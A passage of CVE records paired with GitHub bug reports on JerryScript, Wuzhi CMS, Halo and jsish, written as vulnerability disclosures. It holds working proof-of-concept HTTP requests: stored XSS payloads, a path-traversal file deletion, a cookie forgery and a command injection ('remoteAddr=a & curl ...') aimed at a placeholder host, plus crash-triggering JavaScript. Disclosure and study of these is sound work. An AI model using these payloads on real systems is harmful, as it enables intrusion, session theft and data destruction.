/home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #8 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #9 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #10 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #11 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #12 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #13 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #14 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #15 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #16 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #17 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #18 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #19 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #20 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #21 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #22 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #23 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #24 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #25 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #26 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339 #27 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579 #28 0x804acbf in main /home/jerryscript/jerry-main/main-unix.c:759 #29 0xf7888646 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18646) #30 0x8048fb0 (/home/jerryscript/build/bin/jerry+0x8048fb0) 0xf6502022 is located 2 bytes inside of 24-byte region [0xf6502020,0xf6502038) freed by thread T0 here: #0 0xf7abda84 in free (/usr/lib32/libasan.so.2+0x96a84) #1 0x80c2885 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476 #2 0x80c2c1d in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685 #3 0x80738ff in ecma_bytecode_deref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1467 #4 0x8133fd0 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:319 #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567 #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216 #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240 #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845 #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339 #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579 previously allocated by thread T0 here: #0 0xf7abe144 in __interceptor_realloc (/usr/lib32/libasan.so.2+0x97144) #1 0x80c2bfe in jmem_heap_realloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:674 #2 0x80eb507 in re_compile_bytecode /home/jerryscript/jerry-core/parser/regexp/re-compiler.c:144 #3 0x80b412e in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:336 #4 0x8133ff7 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:323 #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567 #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216 #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240 #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845 #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943 #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142 #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778 #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690 #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792 #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339 #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579 SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344 ecma_bytecode_ref Shadow bytes around the buggy address: 0x3eca03b0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x3eca03c0: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd 0x3eca03d0: fd fd fa fa fd fd fd fa fa fa fd fd fd fa fa fa 0x3eca03e0: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa 0x3eca03f0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00 =>0x3eca0400: 00 fa fa fa[fd]fd fd fa fa fa fd fd fd fa fa fa 0x3eca0410: fd fd fd fa fa fa 00 00 00 fa fa fa 00 00 00 fa 0x3eca0420: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x3eca0430: fd fd fa fa fd fd fd fd fa fa fd fd fd fa fa fa 0x3eca0440: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fd 0x3eca0450: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==80830==ABORTING ``` Credits: This vulnerability is detected by chong from OWL337.

heap-use-after-free in ecma_bytecode_ref

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4056/comments

2020-07-25T14:58:50Z

2020-07-28T08:47:38Z

https://github.com/jerryscript-project/jerryscript/issues/4056

CVE-2020-18654

2021-06-22T16:15:07.747

Cross Site Scripting (XSS) in Wuzhi CMS v4.1.0 allows remote attackers to execute arbitrary code via the "Title" parameter in the component "/coreframe/app/guestbook/myissue.php".

https://github.com/wuzhicms/wuzhicms/issues/174

github.com

> This is a stored XSS which allows attacker to insert javascript code into database. When admin see the message, attacker is able to steal admin's cookie. **Filename** /coreframe/app/guestbook/myissue.php **Code** ```php public function ask() { $formdata = array(); $formdata['title'] = isset($GLOBALS['title']) ? remove_xss($GLOBALS['title']) : strcut($GLOBALS['content'],80); $formdata['content'] = remove_xss($GLOBALS['content']); $formdata['addtime'] = SYS_TIME; $formdata['publisher'] = $this->memberinfo['username']; $formdata['ip'] = get_ip(); $this->db->insert('guestbook', $formdata); MSG('您的提问已经提交，我们的专家会尽快给您回复',$GLOBALS['forward']); } ``` **Exploit** When we post data without parameter `title`, there will be 80 chars we can use to write payload. **POC** ``` POST /wuzhi/www/index.php?m=guestbook&f=myissue&v=ask HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/wuzhi/www/index.php?m=guestbook&f=myissue&v=newask&set_iframe=1 Content-Type: application/x-www-form-urlencoded Content-Length: 195 Connection: close Cookie: PHPSESSID=k3hg1nrarp7qrjke4vuas6qkd7; GkP_auth=Q5z1uumP3fAV7fDKVbo5FU6apF6hQ7g9OKlRM1CGAD4bOBq6RkTPc5RObAeekXPG%2Ft8%2B7ljt9FSBitASjEIHgYNo82ld56FSW0AHfJpXYdb6x4irVUUZNA%3D%3D; GkP__uid=hbE7FX8tL26Fe0bidYepPQ%3D%3D; GkP__username=KwX1%2Fxspl5hmfDne9R%2FMQQ%3D%3D; GkP__groupid=%2BFfmOH1E1TGyFg%2BKja4uQQ%3D%3D; GkP_truename=aaaa; GkP_modelid=10 Upgrade-Insecure-Requests: 1 content=%3Cscript%3Ealert%281%29%3B%3C/script%3Esdf&forward=http%3A%2F%2Flocalhost%2Fwuzhi%2Fwww%2Findex.php%3Fm%3Dguestbook%26f%3Dmyissue%26v%3Dlisting%26set_iframe%3D1&submit=%E6%8F%90%E4%BA%A4 ``` **Result** 

WUZHI CMS V4.1.0 /coreframe/app/guestbook/myissue.php stored XSS vulnerability

https://api.github.com/repos/wuzhicms/wuzhicms/issues/174/comments

2019-03-12T07:47:12Z

2019-03-12T07:47:12Z

https://github.com/wuzhicms/wuzhicms/issues/174

CVE-2020-18979

2021-07-12T15:15:07.973

Cross Siste Scripting (XSS) vulnerablity in Halo 0.4.3 via the X-forwarded-for Header parameter.

https://github.com/halo-dev/halo/issues/126

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://docs.halo.run/) - [x] [Github Wiki 常见问题](https://github.com/ruibaby/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/ruibaby/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [ ] 请求技术支持 ## Bug Report In [issue 9](https://github.com/halo-dev/halo/issues/9), someone reported two storage XSS, and you have fixed, but the Second XSS. But it still has another output point `X-Forwarded-For` payload HTTP Requests ```http POST /admin/getLogin HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 56 Connection: close Cookie: JSESSIONID= X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2 loginName=asas&loginPwd=asas ``` <img width="1096" alt="图片" src="https://user-images.githubusercontent.com/26483211/55526171-98e26d00-56c6-11e9-90dc-6dbe81885d3a.png"> <img width="1351" alt="图片" src="https://user-images.githubusercontent.com/26483211/55526211-b7486880-56c6-11e9-9024-2d4271807af7.png">

These is A stored xss vulnerability

https://api.github.com/repos/halo-dev/halo/issues/126/comments

2019-04-04T02:46:43Z

2019-05-28T17:54:37Z

https://github.com/halo-dev/halo/issues/126

CVE-2020-18980

2021-07-12T15:15:08.010

Remote Code Executon vulnerability in Halo 0.4.3 via the remoteAddr and themeName parameters.

https://github.com/halo-dev/halo/issues/134

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://docs.halo.run/) - [x] [Github Wiki 常见问题](https://github.com/ruibaby/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/ruibaby/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [ ] 请求技术支持 ## Bug Report I read the code and find that function `cloneFromRemote` have a system call as ```java @PostMapping(value = "/clone") @ResponseBody public JsonResult cloneFromRemote(@RequestParam(value = "remoteAddr") String remoteAddr, @RequestParam(value = "themeName") String themeName) { if (StrUtil.isBlank(remoteAddr) || StrUtil.isBlank(themeName)) { return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.common.info-no-complete")); } try { final File basePath = new File(ResourceUtils.getURL("classpath:").getPath()); final File themePath = new File(basePath.getAbsolutePath(), "templates/themes"); final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName); if (NOT_FOUND_GIT.equals(cmdResult)) { return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.theme.no-git")); } THEMES.clear(); THEMES = HaloUtils.getThemes(); } catch (FileNotFoundException e) { log.error("Cloning theme failed: {}", e.getMessage()); return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.theme.clone-theme-failed") + e.getMessage()); } return new JsonResult(ResultCodeEnum.SUCCESS.getCode(), localeMessageUtil.getMessage("code.admin.common.install-success")); } ``` in ```java final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName); ``` and you have do nothig with the `remoteAddr` and `themeName`, so I can type in ``` remoteAddr=a & curl xxx.xxx.xxx # themeName = 2333 ``` and cmdString is ``` git clone a & cmd # xxxxxx # cmd is your commad ``` to RCE ```http POST /admin/themes/clone HTTP/1.1 Host: ******* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: ******* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 60 Connection: close Cookie: X-Forwarded-For: 127.0.0.2 remoteAddr=a+%26+curl+111111111%3A1339%23&themeName=aaa ```

Remote Code Execution in your system

https://api.github.com/repos/halo-dev/halo/issues/134/comments

2019-04-04T08:32:35Z

2023-08-17T14:34:44Z

https://github.com/halo-dev/halo/issues/134

CVE-2020-18982

2021-07-12T17:15:08.670

Cross Sie Scripting (XSS) vulnerability in Halo 0.4.3 via CommentAuthorUrl.

https://github.com/halo-dev/halo/issues/127

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://docs.halo.run/) - [x] [Github Wiki 常见问题](https://github.com/ruibaby/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/ruibaby/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [ ] 请求技术支持 ## Bug Report I find that You have do HtmlUtil.escape for CommentContent  but do nothing with CommentAuthorUrl  payload:`commentAuthorUrl="><img src=1 onerror=alert(123)>`\ <img width="902" alt="图片" src="https://user-images.githubusercontent.com/26483211/55527127-4440f100-56ca-11e9-93a3-58726ea901de.png"> ```http POST /newComment HTTP/1.1 Host: xxxxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 306 Connection: close Cookie: JSESSIONID= X-Forwarded-For: 127.0.0.2 postId=3&commentContent=sasas&commentAuthor=as12%22%3E%3Ca%3E3&commentAuthorEmail=&commentAuthorUrl=%22%3E%3Cimg+src%3D1+onerror%3Dalert(123)%3E233&commentAgent=Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64)+AppleWebKit%2F537.36+(KHTML%2C+like+Gecko)+Chrome%2F73.0.3683.47+Safari%2F537.36&commentParent=28 ``` in uri `/admin/comments?status=1` <img width="1406" alt="图片" src="https://user-images.githubusercontent.com/26483211/55527020-ea402b80-56c9-11e9-9899-cfd577514b9c.png">

These is Another stored xss vulnerability

https://api.github.com/repos/halo-dev/halo/issues/127/comments

2019-04-04T03:19:25Z

2019-05-28T17:53:30Z

https://github.com/halo-dev/halo/issues/127

CVE-2020-19037

2021-07-12T17:15:08.713

Incorrect Access Control vulnearbility in Halo 0.4.3, which allows a malicious user to bypass encrption to view encrpted articles via cookies.

https://github.com/halo-dev/halo/issues/135

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://docs.halo.run/) - [x] [Github Wiki 常见问题](https://github.com/ruibaby/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/ruibaby/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [ ] 请求技术支持 ---- The password accessing the article is flawed. The code only verifies the "halo-post-password-" + post.getPostId() in the cookie, but it does not verify that the password is correct. ``` //判断文章是否有加密 if (StrUtil.isNotEmpty(post.getPostPassword())) { Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId()); if (null == cookie) { post.setPostSummary("该文章为加密文章"); post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>该文章为加密文章，输入正确的密码即可访问。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>"); } } model.addAttribute("post", post); return this.render("post"); } ``` Send the postId to the server by entering the wrong password, and then add the cookie "halo-post-password-4027 (current article id) = 96e79218965eb72c92a549dd5a330112 (any md5 encrypted string)" to access the encrypted article content. ``` HTTP/1.1 302 Found Server: nginx/1.15.8 Date: Thu, 04 Apr 2019 15:02:04 GMT Content-Length: 0 Connection: close Location: https://demo.halo.run/archives/1554388726735 Content-Language: zh-CN Set-Cookie: halo-post-password-4032=96e79218965eb72c92a549dd5a330112 Strict-Transport-Security: max-age=31536000 ```  The vulnerability discoverer by Chaitin Tech.

Bypass password access to encrypted articles

https://api.github.com/repos/halo-dev/halo/issues/135/comments

2019-04-04T15:13:08Z

2021-07-15T08:18:57Z

https://github.com/halo-dev/halo/issues/135

CVE-2020-19038

2021-07-12T17:15:08.743

File Deletion vulnerability in Halo 0.4.3 via delBackup.

https://github.com/halo-dev/halo/issues/136

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://docs.halo.run/) - [x] [Github Wiki 常见问题](https://github.com/ruibaby/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/ruibaby/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [x] 请求技术支持 ---- There is an arbitrary file deletion vulnerability in the backup file deletion. ``` @GetMapping(value = "delBackup") @ResponseBody public JsonResult delBackup(@RequestParam("fileName") String fileName, @RequestParam("type") String type) { final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName; try { FileUtil.del(srcPath); return new JsonResult(ResultCodeEnum.SUCCESS.getCode(), localeMessageUtil.getMessage("code.admin.common.delete-success")); } catch (Exception e) { return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.common.delete-failed")); } } ``` eg. ``` GET /admin/backup/delBackup?type=posts&fileName=../../upload/2019/3/veer-15238236420190404102850332.jpg HTTP/1.1 Host: demo.halo.run Connection: close Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 Referer: https://demo.halo.run/admin/backup?type=posts Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=jLIF44HA_8IHwVFhq66-jAArsdL3Mtz_tg2GvNhO ```  The vulnerability discoverer by Chaitin Tech.

Any file deletion in the background

https://api.github.com/repos/halo-dev/halo/issues/136/comments

2019-04-04T17:29:24Z

2021-07-15T08:17:49Z

https://github.com/halo-dev/halo/issues/136

CVE-2020-23079

2021-07-12T17:15:08.777

SSRF vulnerability in Halo <=1.3.2 exists in the SMTP configuration, which can detect the server intranet.

https://github.com/halo-dev/halo/issues/806

github.com

1、Because the password of the login account of the system background is transmitted in plain text, it can easily enter the background through brute force cracking： 2、The problem lies in the STMP server configuration，which can specify host address and port  3、There is a hidden testConnection () interface in the code to test the connectivity of the mailbox server  4、It is a javaMailSender that depends on springframework：  5、So you can test through this interface, write the address as 127.0.0.1，When the server port is open, the corresponding time is shorter：20millis：  6、The port is not open, the corresponding time is longer：1000+millis：  7、You can obtain the open ports of the server and other hosts on the intranet in batches according to the length of the echo time, and then carry out further attacks

SSRF vulnerability exists at the SMTP configuration, which can detect the server intranet

https://api.github.com/repos/halo-dev/halo/issues/806/comments

2020-04-29T08:03:08Z

2020-07-17T08:18:30Z

https://github.com/halo-dev/halo/issues/806

CVE-2020-22874

2021-07-13T15:15:08.457

Integer overflow vulnerability in function Jsi_ObjArraySizer in jsish before 3.0.8, allows remote attackers to execute arbitrary code.

https://github.com/pcmacdon/jsish/issues/5

github.com

# Enviroment ``` operating system: ubuntu18.04 compile command: ./configure && make test command: ./jsish poc1 ``` # poc: ``` var o = [ 1, 2 ]; o.length = -9007199254740991; o, 90040991; var ExBs = new RegExp('>l1Pq4Q~R$!'); ExBs = o.reverse(); var zaCp = o.unshift(o.length, o, ExBs.lastIndex, o); o.length = o.length != o; o = zaCp.toExponential(o.length); var FfYD = new RegExp('@OsH'); JSON.stringify('/Z-s#YisGL'); o = o.constructor(); FfYD.lastIndex = -1 <= -2147483647; o.length = 1e+81 == FfYD.lastIndex; var yfSi = new Map([ [ 1, 1200, o.length, ExBs.lastIndex ], [ o, ExBs, o, 0, -Infinity, -Infinity ] ]); var Hjwz = new Map([ [], [ o, o, -1 ] ]); var QkwQ = new RegExp('GBY'); var dPft = new Map([ [ -2147483648, FfYD.lastIndex, FfYD, 3037000498, 0.1, ExBs.length, FfYD, 2147483649 ], [ ExBs, FfYD.lastIndex, -9007199254740994 ] ]); var fjNQ = o.indexOf(0.2, function () { }); var a = Object.keys(o); var TdaH = new RegExp('#0CHy=U2|.xg^{;xO'); var APSB = -9007199254740990 != a.length; var BYaK = new Float32Array([ yfSi, 4, -4294967295, FfYD, zaCp ]); var wCMe = new WeakSet([]); ``` # vulnerability description:  In src/jsiObj.c:428, `len` is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.  `obj-> arr` will get a smaller size of heap space, and then memset assigns a value to the space pointed to by `obj-> arr + obj-> arrMaxSize`, but this time has exceeded the actual heap range of ` obj-> arr`, causing heap overflow .

integer overflow and buffer overflow

https://api.github.com/repos/pcmacdon/jsish/issues/5/comments

2020-04-13T14:03:30Z

2020-04-14T00:10:53Z

https://github.com/pcmacdon/jsish/issues/5

CVE-2020-22875

2021-07-13T15:15:08.490

Integer overflow vulnerability in function Jsi_ObjSetLength in jsish before 3.0.6, allows remote attackers to execute arbitrary code.

https://github.com/pcmacdon/jsish/issues/10

github.com

# Enviroment ``` operating system: ubuntu18.04 compile command: ./configure && make test command: ./jsish poc1 ``` # poc: ``` var o = [ 1, 2 ]; o = o.splice(o.length, o.length, o, o, o.length, 1.7976931348623157e+308); o = o.toString(o.length); var a = Object.keys(o); var YzNz = new RegExp('kf}(Vq)XW8St'); o.length = -o.length; o.length = 5e-324 >= 9007199254740992; o.length = o == 1.3; a.length = -9007199254740990; o.length = a.length > o; var FpXa = new RegExp('\fÇ\xAF\x8F\x93A\xAFuQ=ºC\x99e\xACCýæÜ47\x18'); var APSB = -9007199254740990 != a.length; APSB = a.slice(a.length, a.length); var ZDnB = a.map(function () { }, function () { }); ``` The vulnerability code is in line src / jsiArray.c + 414, the function `jsi_ArrayMapCmd`, the vulnerability code is as follows:  The `curlen` here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc  The affected code is in the analytic function `Jsi_ObjSetLength`, as shown in the figure:  The actual array size len is larger than `obj-> arrMaxSize`, which triggers the assert.

integer overflow

https://api.github.com/repos/pcmacdon/jsish/issues/10/comments

2020-04-13T14:23:26Z

2020-04-13T18:13:09Z

https://github.com/pcmacdon/jsish/issues/10

CVE-2020-22882

2021-07-13T15:15:08.557

Issue was discovered in the fxParserTree function in moddable, allows attackers to cause denial of service via a crafted payload. Fixed in commit 723816ab9b52f807180c99fc69c7d08cf6c6bd61.

https://github.com/Moddable-OpenSource/moddable/issues/351

github.com

